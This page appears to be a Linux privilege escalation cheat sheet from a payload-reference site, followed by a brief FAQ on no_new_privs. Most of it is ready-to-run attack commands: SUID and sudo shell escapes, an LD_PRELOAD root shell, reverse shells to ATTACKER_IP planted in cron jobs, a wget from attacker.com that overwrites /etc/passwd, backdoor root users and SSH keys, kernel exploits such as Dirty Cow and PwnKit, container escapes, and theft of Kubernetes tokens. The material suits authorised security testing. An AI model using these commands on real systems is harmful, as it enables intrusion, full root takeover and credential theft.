Linux Privilege Escalation Cheat Sheet
Review Linux file permissions, service accounts and process privileges. Compare the access a service needs with its running configuration, then record the evidence for a retest. (70 entries)
Enumeration
(16)id && whoami && hostname && uname -acat /etc/passwd | grep -v nologin | grep -v falsesudo -lcat /etc/crontab && ls -la /etc/cron.*find / -perm -u=s -type f 2>/dev/nullfind / -perm -g=s -type f 2>/dev/nullgetcap -r / 2>/dev/nullfind / -writable -type f 2>/dev/null | grep -v procenv && cat ~/.bash_history && cat ~/.bashrccat /proc/version && cat /etc/issue && uname -rps aux | grep rootss -tlnp && netstat -tlnp 2>/dev/nullfind / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/nullcat /etc/sudoers 2>/dev/null && cat /etc/sudoers.d/* 2>/dev/nullls -la /home/*/.*find / -name id_rsa -o -name id_ecdsa -o -name id_ed25519 2>/dev/nullSUID / SGID Binaries (GTFOBins)
(15)/usr/bin/find . -exec /bin/sh -p \;vim -c ":!/bin/sh"python3 -c "import os; os.execl('/bin/sh', 'sh', '-p')"perl -e 'exec "/bin/sh";'ruby -e 'exec "/bin/sh"'awk 'BEGIN {system("/bin/sh")}'less /etc/passwd
!/bin/shnmap --interactive
nmap> !shbash -pcp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
/tmp/rootbash -ptar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shnode -e "require('child_process').spawn('/bin/sh', {
stdio: [0,1,2]
})"env /bin/sh -pstrace -o /dev/null /bin/sh -ptclsh
exec /bin/sh <@stdin >@stdout 2>@stderrSudo Misconfigurations
(12)# sudo -l output → (root) NOPASSWD: /bin/vim
sudo vim -c ":!/bin/bash"# sudo -l → (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit# sudo -l → (root) NOPASSWD: /usr/bin/python3
sudo python3 -c "import os; os.system('/bin/bash')"# sudo -l → (root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
!/bin/sh# sudo -l → (ALL, !root) /bin/bash
# CVE-2019-14287: sudo < 1.8.28 bypass
sudo -u#-1 /bin/bash# LD_PRELOAD trick (requires env_keep += LD_PRELOAD in sudoers)
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0); setgid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
sudo LD_PRELOAD=/tmp/evil.so <allowed_command># sudo -l → (root) NOPASSWD: /usr/bin/wget
sudo wget http://attacker.com/passwd -O /etc/passwd# sudo -l → (root) NOPASSWD: /usr/bin/tee
echo "root2:$(openssl passwd -1 password):0:0:root:/root:/bin/bash" | sudo tee -a /etc/passwd# sudo -l → (root) /bin/bash /path/to/script.sh
# If script sources a file in a writable dir:
echo "bash -i" > /writable/path/sourced.sh# sudo -l → (root) NOPASSWD: /usr/bin/git
sudo git -p help config
!/bin/sh# sudo -l → (root) NOPASSWD: /usr/bin/zip
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T --unzip-command="sh -c /bin/sh"# sudo -l → (root) NOPASSWD: /usr/bin/apt-get
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/sh"Cron Job Exploitation
(5)cat /etc/crontab
crontab -l
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
cat /var/spool/cron/crontabs/*# If cron runs /opt/cleanup.sh as root and file is world-writable:
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /opt/cleanup.sh# If cron uses relative PATH and /tmp is writable:
# crontab: * * * * * backup.sh
export PATH=/tmp:$PATH
echo "#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > /tmp/backup.sh
chmod +x /tmp/backup.sh# Wildcard injection in cron tar command:
# * * * * * root tar czf /backup.tgz /opt/data/*
cd /opt/data
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh revshell.sh"
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > revshell.sh
chmod +x revshell.sh# Writable cron.d directory:
echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > /etc/cron.d/backdoorWritable File Exploitation
(5)# /etc/passwd writable → add new root user
echo "hacker:$(openssl passwd -1 -salt xyz hacked):0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker # password: hacked# /etc/shadow writable → replace root password hash
python3 -c "import crypt; print(crypt.crypt('password', crypt.mksalt(crypt.METHOD_SHA512)))"
# Replace root hash in /etc/shadow# /etc/sudoers writable → add NOPASSWD rule
echo "$(id -un) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo bash# Find files owned by root but writable by current user:
find / -user root -writable -type f 2>/dev/null | grep -v proc# Append SSH key to root authorized_keys (if ~/.ssh writable):
mkdir -p /root/.ssh
echo "<your_public_key>" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keysLinux Capabilities
(7)# Find capabilities:
getcap -r / 2>/dev/null
# Dangerous capabilities:
# cap_setuid+ep → set UID to 0
# cap_net_raw+ep → raw socket access
# cap_sys_admin+ep → near-root
# cap_dac_read_search+ep → bypass file read checks# python3 with cap_setuid+ep:
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"# perl with cap_setuid+ep:
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'# vim with cap_setuid+ep:
vim -c ":py3 import os; os.setuid(0); os.execl('/bin/bash', 'bash', '-p')"# node with cap_setuid+ep:
node -e "process.setuid(0); require('child_process').spawn('/bin/bash', {stdio: [0,1,2]})"# tar with cap_dac_read_search — read any file:
tar xf /etc/shadow -I cat# openssl with cap_setuid:
openssl req -engine /tmp/evil.soKernel Exploits
(5)# Dirty Cow (CVE-2016-5195) — kernel < 4.8.3
# Overwrite any file (e.g., /etc/passwd)
wget https://github.com/firefart/dirtycow/raw/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty <password>
# Creates /etc/passwd entry for firefart:password with root UID# Dirty Pipe (CVE-2022-0847) — kernel 5.8 to 5.16.11
# Overwrite read-only files
# PoC: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
./exploit /usr/bin/sudo# PwnKit (CVE-2021-4034) — pkexec privilege escalation
# Affects polkit pkexec 0.105 and earlier (most distros before Jan 2022)
# PoC: https://github.com/ly4k/PwnKit
./PwnKit # spawns root shell# overlayfs (CVE-2023-0386) — kernel < 6.2
# Unprivileged user namespace + overlayfs to escalate
# PoC: https://github.com/xkaneiki/CVE-2023-0386
./poc# Automated kernel exploit suggester:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
bash linux-exploit-suggester.sh
# Alternatively, run on local machine:
bash les.sh --kernelmode --uname "$(uname -r)"Docker / Container Escape
(5)# Check if inside Docker:
cat /proc/1/cgroup | grep docker
ls /.dockerenv
# Check if privileged:
cat /proc/self/status | grep -i cap
# CapEff: 0000003fffffffff = full capabilities (privileged)# Privileged container — mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash
# Now in root shell on host filesystem# Docker socket escape (if /var/run/docker.sock is accessible):
ls -la /var/run/docker.sock
docker run -v /:/host --rm -it ubuntu chroot /host bash
# Spawns root shell on host via new privileged container# cgroups v1 notify_on_release escape (CVE-2022-0492 style):
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -1))
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o; echo $t/c > $d/release_agent
echo "#!/bin/sh" > /c; echo "id > $t/o" >> /c; chmod +x /c
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1; cat /o# Kubernetes: extract service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use token to call API server:
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sSk -H "Authorization: Bearer $KUBE_TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/default/secretsLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
References
Related Tools
Related Cheat Sheets
Further reading
Frequently asked questions
How can I check whether a Linux service has no_new_privs enabled?+
Find the PID of the running service process you are reviewing and read the NoNewPrivs field in /proc/PID/status. A value of 1 means the flag is set for that task. It carries over when the task creates a child or executes another program. Checking your login shell describes a different process.
Does NoNewPrivs mean a service has no privileges?+
A value of 1 limits the new privileges a program can acquire on exec. The service keeps the access it already has. Review its running identity, capabilities and access to files against the permissions its job requires.
What evidence belongs in a Linux privilege remediation record?+
Record the service role, expected permission, observed value and date. After the change, identify the active process again and record its new value and the result of a normal service operation. Use a redacted excerpt so someone can repeat the check without receiving a full host inventory.